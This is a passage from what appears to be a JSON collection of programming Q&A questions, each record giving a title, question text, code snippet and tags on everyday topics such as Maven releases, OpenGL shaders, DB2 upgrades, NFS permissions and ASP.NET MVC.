template in C++. Could you help me it?\n\nWhy my_grammar can be used as a type
parameter like it?\nBest Regards,\n", "struct my_grammar : public
grammar<my_grammar>\n{\n ...\n};\n", "c++ templates metaprogramming"],
"2824420": ["jqplot - Individual values, not totals in stacked chart", "In a
stacked bar chart we can show total of each series in every stack, like this \n\
nHowever I want value of each series to be shown, not total like this(please ignore
the fact that the two samples have different number of series)\n\nAdditionally I
would like to show the total of the stack at the top.\nWhat i mean is that, f you
look at the first graph, in the first bar, values are 5,15(5+10),24(15+9).\nMy
desired result should be like the second graph, where values for the first bar are
like, 10,9 and finally a total at the top 19\n Is it possible with this library?\
n", "", "jquery jqplot"], "649799": ["Using Code Contracts, why does ccrewrite
require access to every runtime dependency?", "I'm trying to use Code Contracts and
I'm running into a problem that is blocking me. With Contract Reference Assembly
set to Build, ccrewrite is erroring while trying to access assemblies that are
referenced indirectly by assemblies that are referenced directly. These indirect
assemblies are not needed to build the solution, so I'm wondering why they're
required by Code Contracts? Also, is there a way to work around this problem
without having to provide all runtime dependencies as part of the build?\n", "",
"c# .net dependencies code-contracts ccrewrite"], "1441779": ["Script to automate
the maven release process with SVN source", "I am usig a batch script to release my
projetcs, it works fine for my common project, but when it comes for the actual
main project which got a dependency to the common project, mvn release prepare is
failing(Error msg -The svn tag command failed svn: Path(branch path) does not
exists in revision# while doing mvn release:prepare).\nBatch scrip to release the
passed projetcs in sequence\n\nI am using following plugins.\n\nMy POM file got the
following SCM tag in it.\n\nActual error details\n\nAny comments/idea to improve
this script ?\n", "FOR %%G IN (common-utilities-project,myProject) DO (\nsvn
checkout svn://server1/root/%%G/branches/br1\ncd br1\ncall mvn clean \n\ncall mvn
release:clean\nif errorlevel 1 goto failed\n\ncall mvn versions:use-next-versions -
DgenerateBackupPoms=false -Dincludes=com.commom:common-utilities-project
scm:checkin deploy -Dmessage=\"Updated dependencies for release\" -
DperformRelease=true \nif errorlevel 1 goto failed\n\necho.| call mvn
release:prepare\nif errorlevel 1 goto failed\n\ncall mvn release:perform -
DreleaseProfiles=deploy\nif errorlevel 1 goto failed\n\nmvn versions:use-next-
snapshots -DallowSnapshots=true -DgenerateBackupPoms=false -
Dincludes=com.commom:common-utilities-project scm:checkin deploy -
Dmessage=\"Updated dependencies to SNAPSHOT for next developement\"\nif errorlevel
1 goto failed\n\ncd..\nRD /S/Q br1\n)\n:failed\necho ******** Unable to do
release********\npause\n", "maven maven-3 maven-plugin maven-release-plugin"],
"2233391": ["Space between parent nodes of a TreeView", "I have a where parent and
child nodes are bound to the same object type. What I want to do is have extra
space, or create some other way to separate, only the top level nodes.\nFor
example, if it looks like this normally:\n\nI want it to look like this:\n\nBelow
is my code - There is already a lot of styling in order to use the TreeView as a
ComboBox.\n\n", "TreeView", "c# wpf xaml layout treeview"], "3325287": ["cvs2svn
2.3.0 crashes in pass 16", "I've posted a question regarding cvs2svn crashes (link
text).\nI was suggested to update to cvs2svn v2.3.0 and so I did and it worked.\
nnow suddenly cvs2svn crashes again before the end,\n\nwhat can be the problem
again?\nI'm using dump file.\n", "", "svn cvs cvs2svn"], "928406": ["Rails: Sending
cached gzip content directly to client using caches_action", "I am using
caches_action to cache one of the action's response\nI want to save in the cache
compression response and then send it as it is if browser supports that compression
otherwise decompress it and then send it.\nSome characteristics of my content:\n1.
It rarely changes\n2. My server gets requests from 90% gzip enabled browsers\nDo
you see any issue with this approach?\nIf you it is a right approach then is there
a easy way to achieve the same?\n", "", "ruby-on-rails caching compression"],
"5054": ["ASP.NET MVC - Posting a form with custom fields of different data types",
"In my ASP.NET MVC 2 web application, I allow users to create custom input fields
of different data types to extend our basic input form. While tricky, building the
input form from a collection of custom fields is straight-forward enough.\nHowever,
I'm now to the point where I want to handle the posting of this form and I'm not
certain what the best way to handle this would be. Normally, we'd use strongly-
typed input models that get bound from the various statically-typed inputs
available on the form. However, I'm at a loss for how to do this with a variable
number of input fields that represent different data types.\nA representative input
form might look something like:\n\nMy date field: [ date time input\ncontrol ] \nMy
text field: [ text input\nfield ] \nMy file field: [ file upload\ncontrol ]\nMy
number field: [ numerical input control ]\nMy text field 2: [text input field ]\
netc...\n\nIdeas I've thought about are:\n\nSending everything as strings (except
for the file inputs, which would need to be handled specially).\nUsing a model with
an \"object\" property and attempting to bind to that (if this is even possible).\
nSending a json request to my controller with the data encoded properly and
attempting to parse that.\nManually processing the form collection in my controller
post action - certainly an option, but I'd love to avoid this.\n\nHas anyone
tackled an issue like this before? If so, how did you solve it?\nUpdate:\
nMy \"base\" form is handled on another input area all together, so a solution
doesn't need to account for any sort of inheritence magic for this. I'm just
interested in handling the custom fields on this interface, not my \"base\" ones.\
nUpdate 2:\nThank you to ARM and smartcaveman; both of you provided good guidance
for how this could be done. I will update this question with my final solution once
its been implemented.\n", "", "asp.net asp.net-mvc viewmodel"], "318605": ["per-
fragment lighting coordinate system", "I'm developing an OpenGL 2.1 application
using shaders and I'm having a problem with my per-fragment lighting. The lighting
is correct when my scene initial loads, but as I navigate around the scene, the
lighting moves around with the \"camera\", rather than staying in a static
location. For example, if I place my light way off to the right, the right side of
objects will be illuminated. If I then move the camera to the other side of the
object and point in the opposite direction, the lighting is still on the right side
of the object (rather than being on the left, like it should now). I assume that I
am calculating the lighting in the wrong coordinate system, and this is causing the
wrong behavior. I'm calculating lighting the following way...\nIn vertex shader...\
n\nwhere vertexNormal is the normal in object/model space.\nIn the fragment
shader...\n\nwhere LightPosition is, for example, (100.0, 10.0, 0.0), which would
put the light on the right side of the world as described above. The part that I'm
unsure of, is the gl_NormalMatrix part. I'm not exactly sure what this matrix is
and what coordinate space it puts my normal into (I assume world space). If the
normal is put into world space, then I figured the problem was that ECPosition is
in eye space while LightPosition and WCNormal are in world space. Something about
this doesn't seem right but I can't figure it out. I also tried putting ECPosition
into world space my multiplying it by my own modelMatrix that only contains the
transformations I do to get the coordinate into world space, but this didn't work.
Let me know if I need to provide other information about my shaders or code.\n",
"ECPosition = gl_ModelViewMatrix * gl_Vertex;\nWCNormal = gl_NormalMatrix *
vertexNormal;\n", "opengl glsl shader
coordinate-systems lighting"], "3940728": ["I want to find some java APIs which
can help me to generate words randomly", "I'm doing some research in generating
creative ideas and I need a java API that can randomly generate words. Do you have
some recommendations? For example, I type color, the API will give me \"red, blue,
black and so on\". I tried WordNet, but it is not very what I want. I can just
generate some similar words. Thank you guys! Or can I do this by some other tech,
such as machine learning, NPL and so on?\nThank you very much!\n", "", "java api
wordnet"], "4007860": ["DB2 upgrade database Fails due to descriptor corruption",
"I've recently upgraded my DB2 9.5 to DB2 9.7, and I am unable to update my
database to v9.7. The error I have been receiving is this:\n\"SQL0901N The SQL
statement failed because of a non-severe system error. Subsequent SQL statements
can be processed. (Reason \"Packed descriptor corruption found. Please run RUNSTATS
on this table\".) SQLSTATE=58004\"\nI have tried to connect with 9.5 clients on
other machines, but they complain about the DB not being migrated to the current
version. So my DB is now somewhere in limbo between 9.5 and 9.7.\nWould anyone have
any clever ideas on how to execute runstats on this DB without being able to
connect to it?\nPlease let me know if I there is any information I left out.
Thanks,\nJdcc\n", "", "database update db2 database-migration"], "1937136":
["Generic data structure libraries for C?", "Which libraries do you guys use for
generic data structures like linked list, binary tree etc.?\nWhat are the most
common, efficient libraries? Can you name some? \n", "", "linked-list binary-
tree"], "5906239": ["Marshal C++ struct array into C#", "I have the following
struct in C++:\n\nAnd a function that I'm p/invoking into to get an array of 3 of
these structures:\n\nIn C++ I would just do something like this:\n\nAnd it would
work just fine, but in C# I can't seem to get it to work.\nI've created a C# struct
like this:\n\nAnd if I initialize an array of 3 of those (and all their sub-arrays)
and pass it into this:\n\nIt returns with success, but the data in the LPRData
array has not changed.\nI've even tried to create a raw byte array the size of 3
LPRData's and pass that into a function prototype like this:\nGetData(byte[]
data);\nBut in that case I will get the \"data\" string from the very first LPRData
structure, but nothing after it, including the \"prob\" array from the same
LPRData.\nAny ideas of how to properly handle this?\n", "#define MAXCHARS 15\n\
ntypedef struct \n{\n char data[MAXCHARS];\n int prob[MAXCHARS];\n} LPRData;\
n", "c# c++ interop struct marshalling"], "875457": ["USB memory stick presents as
two storage devices", "I have a USB memory stick that, when inserted into a
computer, appears as two devices. The first is a CD-ROM drive and the second is a
normal USB mass storage device.\n gives the following:\n\nThe memory stick seems to
work like a U3 smart drive, but U3_tool won't recognize it.\nWhat is this memory
stick, and how do I remove and/or modify files on the CD drive?\n", "dmesg", "usb
u3"], "5619033": ["What do the statements \"#pragma managed(push, off)\"
and \"#pragma managed(pop)\" mean?", "I am looking at some C++/CLI code and have
seen a lot of such statements mostly around s. What do they mean? I know that they,
according to MSDN, But I am interested in their inner mechanics especially the
and semantics. If someone could explain how either one of the two statements
works, I will figure out the other one myself.\n", "#include", ".net c++ interop
cli"], "2217136": ["Prevent(manually entered) Code Removal in Resources.Designer",
"I've added a small function in the Resources.Designer.cs and it working great, the
problem is that when I add or remove something from the Resources.resx this
function always get removed, is there any indicator I could put or anyway to bypass
this?\nThank you!\n\nIt is a really simple method used as an indexer. \n\nI've done
that because you can't do Properties.Resources and then concat a value. An
extension could work, however I tried and it gets fancy because it's all static
method and you dont want to instantiate. \nIdeas?\n", "internal static string
Keys(string key) \n{ \n return ResourceManager.GetString(key, resourceCulture); \
n} \n", "c# .net resources resx"], "1686114": ["Is NSDictionary key order
guaranteed the same as initialized if it never changes?", "I've run into the same
problem as found in this question. However, I have a follow-up question. I seem to
be in the same situation as the original asker: I have a plist with a hierarchy of
dictionaries that define a configuration screen. These are not mutable and will
stay the same throughout the application. Since the original discussion seems to
focus on problems arising from mutating the dictionary, I must ask for
comfirmation: is the order of a dictionary guaranteed the same as they are in the
plist, i.e. as it is read (with initWithContentsOfFile)? Can I use allKeys on it in
this case to get a correct-order array of keys if the dictionary never changes?\n",
"", "iphone objective-c cocoa nsdictionary"], "3088580": ["What is the preferred
way to protect ownership of one's code (e.g. copyright, licenses, etc)", "I posted
some open source code on soureforge, and someone got in contact with me stating
they intended to use my algorithms for a commercial product. I don't want this to
happen, what should I do? According to us copyright.gov site: \n\"Your work is
under copyright protection the moment it is created and fixed in a tangible form
that it is perceptible either directly or with the aid of a machine or device.\"\
nWhich seems to grant some legal protection by doing nothing. I looked at getting
an official copyright from them, and its more than I'd like to spend ($135). Is
that what I need to get for my work? Or are licenses a cheaper and safe/legal
alternative? Or something else? Or nothing at all?\n", "", "open-source legal
copyright"], "5928948": ["Can I have concurrent instances of the async
implementation of ping?", "I would like to ping many different hosts
simultaniously. Does .NET handle this concurrency for me, or must I implement this
myself? \nFor example, the following object internally uses the Async version of
ping:\n\nAnd I may have a different instance doing the same thing, but to a
different host at the same time:\n\nWhat prevents the concurrent Async methods from
each instance interfering with each other?\nWhat is the limit on the concurrency?\
n", "Mypinger.Tracert(\"microsoft.com\");\n", "c# .net multithreading concurrency
ping"], "1877021": ["Overloading GetHashCode and the equality operator using the
XOR operator on enums", "I have the following class which is part of a statictical
analysis package.\n\nThe object is used as a dictionary key.\n, & are all
enums.\n\nI had to override the equality operator (==) to get dictionary key
matching working. I used the guidance at
http://msdn.microsoft.com/en-us/library/ms173147.aspx. The guidance said I should
overload the GetHashCode method which I have done but I don't understand the
implications of casting my enums to integers for the XOR (^) operation. Is what
I've done valid or will I get conflicting hash codes due to my enum integer values
overlapping?:\n\n", "MetricKey", "c# operators xor gethashcode"], "53974":
["convert moderncv to html", "I've written my CV in template.\nNow I'm looking for
a fast way to create an HTML version of my CV in order to use it in my website. \
nAny idea?\n", "moderncv", "conversion html moderncv latex2html"], "674344": ["How
to set timeout to JSONP?", "I have some JSONP in my application, & I want to set
timeout for them. How can I set it?\nit maybe something like this, if it is
possible :)\n\n});\nThanks in advance\n", "Ext.util.JSONP.request({\nurl:
mhid.dashboard.hbf.controller+'/get_dashboard'\n,method: 'POST'\n,timeout :
50000 // TIMEOUT\n,callbackKey: 'jsonp_callback'\n,params:{\n 'site' : site\n
,'fleet' : fleet\n ,'sn' : sn\n ,'format' : 'json'\n}\n,callback:
function(response, opts) {\n var obj = response;\n tpl.overwrite('content',
obj);\n loadMask.hide();\n}\n,failure: function(response, opts) {\n
alert('Failure');\n}\n", "sencha-touch sencha"], "1807025": ["Will the \".target-
name\" targets in make files always run?", "I'm new to make and makefiles, so
forgive me if this is very basic.\nI'm looking through some makefiles in my project
and I'm seeing 2 types of targets -- targets that don't begin with a . character
and targets that do.\nAnd from what I'm guessing, it seems like the \".target-
name\" targets are always executed, is my assumption true? I did read about
makefiles by Googling but didn't find anything specific to this.\nAnd as always,
thanks for the answers!\n", "", "c++ c build-process makefile make"], "2476456":
["calling Struts action Using phoneGap", "i m new to phonegap, can please anyone
tell me what will be the jquery.ajax/jquery.post call structure for getting the
data from action class? or in other words what i have to give in URL attribute of
call? to call action of server from mobile page?\nthanx\n", "", "iphone jquery-
mobile phonegap struts"], "3626000": ["Why do we need abstract classes in C++?",
"I've just learned about polymorphism in my OOP Class and I'm having a hard time
understanding how abstract base classes are useful.\nWhat is the purpose of an
abstract class? What does defining an abstract base class provide that isn't
provided by creating each necessary function in each actual class?\n", "", "c++ oop
inheritance abstract-class"], "622037": ["jQuery Syntax: Using a variable to target
an id", "I'm trying to do the following but keep failing:\nI have a variable:\n\
nAnd I would like to use the value of the variable to target the element with that
id:\nHowever
I'm trying to do that inside a set of parameters and it does not work.\nHere is
the final Code:\n\nThis however works:\n\nIt is probably very easy but I cannot
find it!!\nHope that it is clear.\nThanks\n", "var targg = \"new-house\";\n",
"jquery syntax"], "1564394": ["NFS permisions,can't write to folder", "The problem
is I can't write to the mounted directory.\nI want to mount servers\n\ndirectories
to my client machine.\nSo in file /etc/exports on server I have\n\nwhere 1003 is
usr1's ID, 1001 is usr2's ID, 1005 is usr'3 ID\nIn client machine I have only one
user(user0), with 1007 ID.\nSo when I run command\n\nI can't write to this
directories, even if I have root permision.\nSo how can I mount this directories,
so I can write to mounted folders with usr0 permisions.\n",
"/home/usr1\n/home/usr2\n/home/usr3\n", "nfs"], "5383680": ["Responsive Design -
Rearrange element positions with css", "I would like to do this without JavaScript
if possible:\nI will have 2 or more elements on a page that I want to change the
order of when the page is a certain size. I am using media-queries and will serve
different css based on screen size.\nDiv \"a\" should be at the top normally, but
if the screen size is under 480px then b should be directly over a.\n\nThe CSS that
I must keep in my mobile.css:\n\nSo the height is not specified; therefore, I can't
simply position absolute and set margin-top or top.\n", "<div id=\"a\"
class=\"myDivs\">Top when on desktop</div>\n<div id=\"b\" class=\"myDivs\">Becomes
top when under 480px wide screen</div>\n", "html css css3 media-queries"],
"3085120": ["Session variable: save an auto increment from a sql field next a
insertion", "I want to save in a session variable on php an auto increment value
field from one SQL table, just next to do the insert on that table. Why it appears
empty? What should I do? \nBecause I check my sql statement on the database and
everything is correct, all of that and have values.\n\nNext to do this i want use
the value on a query statement and UserSetIDPK appears empty.\n",
"$usersetdataregister=\"INSERT INTO `questionnaire`.`tbluserset`(`UserIDFKPK`,
`QuestionSetIDFKPK`) VALUES ('$UserId','0')\"; \n\
nmysql_query($usersetdataregister);\n\n$query_usersetID= \"SELECT
tbluserset.UserSetIDPK \n FROM tbluserset \n
INNER JOIN (SELECT US.UserIDFKPK, MAX(US.Timestamp) AS MaxTimestamp\n
FROM tbluserset AS US\n WHERE US.UserIDFKPK
='$UserId' \n GROUP BY US.UserIDFKPK) AS USL ON
tbluserset.UserIDFKPK = USL.UserIDFKPK AND tbluserset.Timestamp =
USL.MaxTimestamp\";\n\n $row_UserSetIDPK = mysql_query($query_usersetID);\n\n
$UserSetID= $row_UserSetIDPK['UserSetIDPK'];\n $_SESSION['UserSetIDPK']=
$UserSetID; \n", "php sql select session-variables auto-increment"], "329362":
["How to save a struct to NSUserDefaults in Objective-c?", "How do I save a custom
to ? \n\nThe above code produces a run-time warning:\n\n", "struct", "objective-c
c ios struct nsuserdefaults"], "400507": ["[Multisite] How to create a blogs
category page with Blog-Types Plugin", "I'm not a web developer so I don't know how
to create an sql query to display information from my database.\nHere's what I
wanted to do, I want to have a page that will display blog categories. When a
visitor clicked a category, a list of blogs will be displayed under that category.\
nI already have a table and information stored on my database however, i don't know
how to display it on the frontend.\n\nI wanted to display the information based on
that sql code by using a shortcode.\nPlease help! Thanks.\n", " CREATE TABLE
`wp_blog_types` (\n `blog_types_ID` bigint(20) unsigned NOT NULL auto_increment,\n
`blog_ID` bigint(20) NOT NULL,\n `blog_types` TEXT NULL,\n `blog_subtypes` TEXT
NULL,\n PRIMARY KEY (`blog_types_ID`)\n) ENGINE=MyISAM;\n\nCREATE TABLE
`wp_signup_blog_types` (\n `blog_types_ID` bigint(20) unsigned NOT NULL
auto_increment,\n `blog_types_domain` varchar(255) NOT NULL,\n `blog_types_path`
varchar(255) NOT NULL,\n `blog_types` TEXT NULL,\n `blog_subtypes` TEXT NULL,\n
PRIMARY KEY (`blog_types_ID`)\n) ENGINE=MyISAM;\n", "multisite mysql wordpress.org
blog"], "3964607": ["Requiring SSL for the database connection for
MediaWiki/Apache/PHP/MySQL with OpenSSL", "For a school project, I have installed
MediaWiki on my local machine, and am required to have any database connection to
the local MySQL database use SSL. I am unsure of how to connect all the dots.
Here's what I have done so far:\n\nI have installed OpenSSL, and created a self-
signed certificate, and associated keys.\nphpinfo() shows OpenSSL as being
enabled.\nI have included this in the [mysqld] section of
my.ini:\n\nssl-key=\"C:/newcerts/server-key.pem\"\nssl-cert=\"C:/newcerts/server-
cert.pem\"\nssl-ca=\"C:/newcerts/ca-cert.pem\"\n\nRunning MySQL Command Line
prompts me for the root password, and upon entering it, I get Error 1045:Access
denied, etc.\nRunning mysql -u root -p ssl-ca=\"C:/newcerts/ca-cert.pem\" from the
bin directory and entering the password succeeds, and gives me a mysql prompt.
Running status shows SSL: Cipher in use is DHE-RSA-AES256-SHA.\n\nHere's where I'm
confused. What else needs to be done (like through Apache or a PHP config file, or
a MediaWiki file) to require database connections to use SSL?\n", "", "php mysql
openssl mediawiki mysql-error-1045"], "4013371": ["Use functions in Telerik MVC
Grid filter? (\"Expected token\" exception)", "In the project I'm currently
developing I'm using Telerik to handle the UI components.\nI have to use client
filtering in my current project; with \"normal\" expressions
like: \"PK_Random~eq~value\" the filter works like a charm, but when I use the
substring / startswith / endswith methods the debugger spit me a
filterParserException with the \"Expected Token\" error, this is the JS code I'm
using:\n\nI call this function with an onlick event binded to a button. \nThe model
passed to the grid is created from a view in the db. \nThe telerik's version I'm
using is: 2011.3.1115\n", "<script type=\"text/javascript\">\n function filter()
{\n var grid = $(\"#gridID\").data(\"tGrid\");\n
grid.filter(\"substringof(someName, 'Somevalue')\");\n };\n</script>\n",
"asp.net-mvc-3 telerik telerik-grid"], "5010322": ["Devise gem & custom
constroller", "I have a controller I created for Devise that I want to use to add a
few more pages inside /devise/registration/\n\nI created the routes\n\nAnd the
views. The views show up correctly but the objects I pass from the registrations
controller are not going to the views. How do I fix this so that these objects are
getting passed to my views?\n", "class RegistrationsController <
Devise::RegistrationsController\n skip_before_filter :detect_account_ended\n\n
def import\n @title = \"Import customers from Quickbooks\"\n end\n\n def
categories\n @title = \"Edit Categories\"\n @categories =
current_user.categories\n\n respond_to do |format|\n format.html #
index.html.erb\n format.json { render json: @categories }\n end\n end\n\n
protected\n\n def after_update_path_for(resource)\n
edit_user_registration_path\n end\nend\n", "ruby-on-rails-3 devise"], "4906332":
["Strange result in the bibliography with @misc", "I'm writing a paper for an
Elsevier journal using the template the provide.\nFor the bibliography I'm using
the style .\nI have a reference with the following bibtex:\n\nIt results in the
bibliography with same strange .\n\nHow can I fix it?\n", "model1-num-names",
"bibliographies elsarticle"], "4125959": ["Tkinter (Mac, Python 2.6): Image not
visible with create_image and Menu item", "I've defined a menu which should show an
image (JPG, 250x250) in an item.\n\nUnless I put a wrong line (here: xxx), the
image doesn't appear, only a correct size black rectangle.\nAny clue ?\nThanks by
advance,\nEric.\n", "import Tkinter\nfrom PIL import Image, ImageTk\n\ndef
show_photo():\n img=Image.open(\"image.jpg\") \n photo=ImageTk.PhotoImage(img)
\n width=photo.width();\n height=photo.height() \n w=Tkinter.Toplevel(root) \
n w.geometry(str(width+2)+'x'+str(height+2))\n w.title(str(width)
+'x'+str(height)) \n canvas=Tkinter.Canvas(w, bg=\"black\", width=width,
height=height) \n canvas.pack() \n
img=canvas.create_image(0,0,anchor=Tkinter.NW,image=photo)\n xxx # NameError\n\
nroot=Tkinter.Tk() \nmainmenu = Tkinter.Menu(root) \nmenu1 =
Tkinter.Menu(mainmenu)\nmainmenu.add_cascade(label=\"Menu 1\", menu=menu1)\
nmenu1.add_command(label=\"Show photo\", command=show_photo)\
nroot.config(menu=mainmenu)\nroot.mainloop()\n", "image canvas menu tkinter
invisible"], "4739533": ["$C_c^0(\\Omega)$ is not Banach!?! Also density requires
completeness?", "Today I was very surprised to learn that $C_c^0(\\Omega)$ is not a
Banach space with the supremum norm. Why is that, when $C^\\infty_c(\\Omega)$ is?\
nAlso (from here, bottom of page 18), I learn that\neven though we can approximate
any function in $C_c^0(\\Omega)$ by a $C_c^\\infty(\\Omega)$ function as closely as
we want, there is no dense inclusion since the space is not Banach. Is it really
necessary for \"density\" that being complete is required?\nIf completeness is
required for density, then the statement I read somewhere\n\n$C_c^\\infty(0,T;V)$
($V$ is Hilbert) is dense in $W(0,T)$ (some space)\n\ndoes not make sense either.
Or is it different because $[0,T]$ is compact?\n", "", "functional-analysis banach-
spaces"], "5163694": ["apache performance timing out", "Im running a webserver
where I'm hosting about 6-7 websites. Most of these websites get their content from
MySQL which is hosted on the same server. Traffic average per day is about 500-600
unique visitors, about 150K hits per week. \nBut for some reason sometimes
websites send a timeout, OR sometimes websites dont load all images. I know that I
should perhaps separate static content from dynamic content, but for now I think
that's not a possibility.\nI would appreciate any suggestions on how could I
improve the performance of apache, so it doesn't keep timing out.\nServer is
running on\nSempron LE 1300; 2.3GHz,512K Cache\n2GB RAM\n10Mbps/1Mbps\nServices:\
nMySQL, ProFTPD, Apache.\n\n", " Private + Shared = RAM used Program\
n----------------------------------------------------\n 1.2 MiB + 54.0 KiB =
1.2 MiB proftpd\n 4.1 MiB + 23.0 KiB = 4.1 MiB munin-node\n 20.8
MiB + 120.5 KiB = 20.9 MiB mysqld\n 47.3 MiB + 9.9 MiB = 57.3 MiB
apache2 (22)\n\ntop: Mem: 2075356k total, 1826196k used, 249160k free,\n\
nTimeout 35\nKeepAlive On\nMaxKeepAliveRequests 300\nKeepAliveTimeout 5\n<IfModule
mpm_prefork_module>\n StartServers 10\n MinSpareServers 20\n
MaxSpareServers 20\n MaxClients 60\n MaxRequestsPerChild 1000\
n</IfModule>\n<IfModule mpm_worker_module>\n StartServers 2\n
MaxClients 150\n MinSpareThreads 25\n MaxSpareThreads 75\n
ThreadsPerChild 25\n MaxRequestsPerChild 0\n</IfModule>\n", "apache2
load-balancing timeout"], "4787584": ["'Specified method is not supported' in
System.Web.Helper.Chart", "I\u2019m using System.Web.Helper.Chart method in one of
my MVC3 application.\nThe method is working fine as far as I am manually giving it
values like this:\n\nBut when I tried using its DataBindTable method that required
an Enumerable object to bind with it gives be this exception:\nSpecified method is
not supported.\n\nI think am doing some mistake while casting DataTable object as
Enumerable object through\n AsEnumerable, but unable to figure out what actually is
the problem as I\u2019m new to it.\nKindly help. :)\n", "public ActionResult
GetRainfallChart()\n {\n var key = new Chart(width: 600, height: 400)\n
.AddSeries(\n chartType: \"bar\",\n
legend: \"Rainfall\",\n xValue: new[]
{ \"Jan\", \"Feb\", \"Mar\", \"Apr\", \"May\" },\n yValues: new[]
{ \"20\", \"20\", \"40\", \"10\", \"10\" })\n .Write();\n return
null;\n }\n", "asp.net-mvc-3 data-binding charts ienumerable system.web"],
"5005664": ["What is the easiest way to save settings in VB.net", "I am creating a
program which launches a game server. I have combobox in which the user can enter
the ip, map, etc, of the game. How can I save what they have entered so that the
next time they are already there so they don't have to re-enter them.\n", "",
"windows vb.net combobox settings"], "5982385": ["How to control a TPLINK router
thanks to python script", "I wanted to know whether there is a tool that allows me
to connect to a router and shut it down, and then reboot it from a python script.\
nI know that if I write in a python script: and then do , I can connect through
python to my router. But then, I don't know how to apply from a python script the
router's password, and to log into it, in order to reboot it from a python script.\
nSo after working on it a bit here is the code that I have written in order to
connect to my router with an ssh session using a python script:\n\nThe problem is
that I still can not connect to my router with this code, and moreover, IDLE (the
editor i use to write and run python script) crashes. Can anyone help me improve
this code?\nThank you for your help.\n", "\"import os\"", "python ssh router
reboot"], "1508856": ["KDE Desktop sharing auto opens every time", "Every time I
log into my kubuntu installation the KDE desktop sharing \"invitation\" window
opens. I do not want this to occur. I thought closing it out, then logging out
and back in would work, but it doesn't. A side problem is that Amarok autostarts
as well, and I don't use amarok (I only opened it once to see what it was like
before switching to a different app). How can I stop these things from opening?\
n", "", "login kde kubuntu"], "113881": ["String.Format way to format Currency
without Cents", "I'm displaying currency using the current method\n\nWhich outputs
like $10.00\nWe will be dealing with large dollar amounts, and no cents. We would
like the currency to display as $10 without the decimal or zeroes. How can I do
this? Removing the currency format makes the number display like 10.0000 :( thanks
in advance.\n", "String.Format(\"{0:C}\", item.DonationAmount)\n", "regex string-
formatting"], "4373706": ["No JSNI support for Errai-UI pages?", "This is a simple
JSNI method I'm trying to test to be called within a Errai Tempalated page:\n\
nHowever it is causing Errai to throw:\n\nAnyone knows how to get around this
issue? \n", "public static native void test() /*-{\n var test = \"test\";\n}-
*/;\n", "java gwt errai"], "5893358": ["WordPress insert readmore link to the blog
page after certain length of content", "I am just newbie to the WordPress. In my
blog page I want after certain length of characters there will be read more link
and if some one clicks on the read more link then he will be able to read that
certain content in full. Now I can insert readmore hyperlink in the post page
manually but I don't want it manually. So can someone kindly help me out here? Any
help and suggestions will be really appreciable.\n", "", "php wordpress wordpress-
theming wordpress-loop"], "5055285": ["Silverlight HttpWebRequest Fails to
include .ASPXAUTH Cookie in Header", "Right now I have a silverlight app that gets
data from a mvc site. As long as I use WebClient and to GET requests, everything
seems to be okay. However, when I use HttpWebRequest and POST, then I am getting
authentication problems.\nThe problems stem from the request lacking the .ASPXAUTH
cookie. \nDoes anyone know how to solve or work around this?\n", "", "silverlight
cookies httpwebrequest"], "5593089": ["Excel 2010: Colour cells in a column based
on values in another column", "I need to do the following in Excel 2010\nColour a
column based on another columns value\nFor example,\n\nThe 'Balance' is populated
using .\nI could do it for a single cell, ie., for the first row. How can I set the
rules for the rest of records ?\n", "Status Balance\nGreen 0\nRed
25\nRed 60\nGreen 0\n", "microsoft-excel microsoft-excel-2010"],
"5005667": ["Binding a command in tmux without using the prefix key", "Is it
possible to bind a tmux command to a key combination and use it directly without
first pressing the prefix?\nI find too cumbersome to switch panes, so I was
wondering whether I could bind for example, to switch to pane #1.\nOr perhaps
there may be a way to make the shortcut in the terminal emulator to send when I
press ?\nThanks!\n", "C-b + n", "keyboard-shortcuts terminal screen tmux"],
"1622602": ["Anyway to compile webkit with mingw?", "I would build webkit for
windows. But on the webkit build page they say to use msvc compiler and I want to
use mingw. I see that the qtWebKit can be builded with it, but I don't want qt.\
nCan I just compile with mingw instead of msvc without modification or I have to
change some files ?\nThanks :)\n", "", "windows webkit mingw wxwidgets"], "657963":
["Sort buttons in alphabetical order", "I created 5 buttons dynamically in a
LinearLayout vertically. They get their names from string resources in 3 different
languages. Therefore the buttons aren't always in the correct alphabetical order.
So there's my question. What can i do to make the buttons being sorted
alphabetically in all 3 languages?\n\nHere's my code:\n\nSincerely\nJohn\n",
"Language 1:\nString 1 = a,\nString 2 = b,\nString 3 = d,\nString 4 = e,\nString 5
= c,\n\nLanguage 2: \nString 1 = c,\nString 2 = e,\nString 3 = a,\nString 4 = b,\
nString 5 = d,\n\nLanguage 3: \nString 1 = d,\nString 2 = c,\nString 3 = a,\nString
4 = b,\nString 5 = e,\n", "android sorting button"], "5104756": ["How to put jqm
data-role=\"page\" in a MVC view page?", "I'm using MVC3 to create a beta mobile
web app. It was working fine until I started to try and get inline pages inside of
a view similar to this\nThis is what I currently have in my view called Index. How
come when I click the links in the navbar it doesn't go to the page?\n\n", "@model
List<ShawGoVersion1.Models.NewsItem>\n\n@{\n ViewBag.Title = \"News\";\n }\n\
n@section Header {\[email protected](\"Back\", \"Index\", \"Home\", null, new
{ data_icon = \"arrow-l\"})\n<h1>@ViewBag.Title</h1>\n<div data-role=\"navbar\">\n
<ul>\n <li><a href=\"#MyNews\">My News</a></li>\n <li><a
href=\"#PressReleases\">Press Releases</a></li>\n <li><a
href=\"#AllNews\">All News</a></li>\n </ul>\n</div>\n}\n\n<div data-
role=\"page\" id=\"MyNews\">\n <div data-role=\"content\">\n <h1>This
feature coming soon</h1>\n </div>\n</div>\n\n<div data-role=\"page\"
id=\"AllNews\">\n <div data-role=\"content\"> \n <ul data-
role=\"listview\">\n @for (int i = 0; i < Model.Count; i++ )\n
{\n if (Model[i].type == \"Article\")\n {\n
<li>\n <a href=\"@Url.Action(\"NewsItemDetails\", \"News\",
new { id = i })\">\n @if (Model[i].pictureURL != null)\n
{\n <div class=\"ui-grid-c\">\n
<div class=\"ui-block-a\" style=\"width:31%;vertical-align:middle\">\n
<img src=\"@Model[i].pictureURL\" style=\"width:100%;height:auto\"/>\n
</div>\n <div class=\"ui-block-b\"
style=\"width:4%; vertical-align:middle\"></div>\n
<div class=\"ui-block-c\" style=\"width:65%;vertical-align:middle\">\
n <h3 style=\"font-size:small; white-
space:normal\">@Model[i].title</h3>\n
<p><strong>@Model[i].date.ToShortDateString()</strong></p>\n
</div> \n </div>\n }\n
else\n { \n <h3
style=\"font-size:small; white-space:normal\">@Model[i].title</h3>\n
<p><strong>@Model[i].date.ToShortDateString()</strong></p>\n
} \n </a>\
n </li>\n } \n } \n </ul>\n
